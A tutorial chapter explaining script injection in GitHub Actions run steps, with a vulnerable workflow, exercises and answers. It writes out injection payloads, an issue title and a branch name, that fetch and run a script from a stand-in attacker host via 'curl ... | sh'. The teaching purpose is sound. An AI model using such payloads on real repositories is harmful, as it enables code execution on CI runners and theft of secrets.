Sub topic 4
Script injection in run steps
This chapter assumes you can read a GitHub Actions workflow (events, jobs, steps), know basic shell quoting, and understand that issue titles, PR titles and branch names are typed by people outside your team. Here you see how those values become code.
Expansion happens before the shell runs
When a run step contains ${{ ... }}, the Actions runner replaces the expression with its value first. It then writes the resulting text to a script file and hands that file to the shell. The shell never sees the expression. It sees only the final text, and it cannot tell which parts came from you and which came from an attacker.
This is template substitution, not variable assignment. The value is pasted into the script source.
A vulnerable workflow
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"Any GitHub user can open an issue on a public repository. Suppose the title is:
"; curl https://attacker.example/x | sh; echo "After expansion, the script on disk reads:
echo "New issue: "; curl https://attacker.example/x | sh; echo ""The opening quote of the title closes your string. The ; ends the first command. The curl ... | sh then runs as a separate command, and the final echo " re-balances the quotes so the script still parses. The attacker now runs arbitrary commands on the runner, with access to any secrets that the job can read.
Why quoting does not save you
Wrapping the expression in double quotes, single quotes or backticks does not help. The attacker's text can include the matching quote character, so it can close any quoting you add. Escaping inside the template is not possible, because you do not know the value in advance.
Several fields are easy to overlook:
- Issue and pull request titles and bodies.
- Comment bodies and review text.
- Branch names, such as
github.head_ref. Names can contain characters like$, backticks and;. - Commit messages and author names.
Values that GitHub generates and restricts, such as github.run_id or github.sha, are not attacker-controlled. The risk comes from free-text fields.
Spotting the pattern
Look for these three things together:
- A
${{ }}expression inside arun:block. - The expression reads event data a contributor can set.
- The job can reach something worth stealing, such as secrets or a write-capable
GITHUB_TOKEN.
The first two are enough to be a bug. The third decides how bad it is.
What to do next
The fix is to keep the value out of the script text. You pass it in through an environment variable, so the shell reads it as data. That change is covered in the next chapter.
Exercise
A workflow step is run: git checkout ${{ github.head_ref }}. A contributor names their branch x;curl${IFS}attacker.example/s|sh. Why is this step exploitable, and at which point does the attacker's text become code?
Show answer
The runner expands ${{ github.head_ref }} into the script text before the shell starts. The branch name is therefore part of the script source, so the shell parses ; as a command separator and runs the curl ... | sh portion as a separate command. The text becomes code at expansion time, before the shell runs. Quoting would not help, because the attacker controls the characters, and ${IFS} lets them avoid spaces.
Exercise
Which of these is a risky input in a run step: github.event.comment.body, github.run_id, or github.event.pull_request.title?
Show answer
github.event.comment.body and github.event.pull_request.title are risky because outside users write them as free text. github.run_id is a number assigned by GitHub, so it cannot carry attacker commands.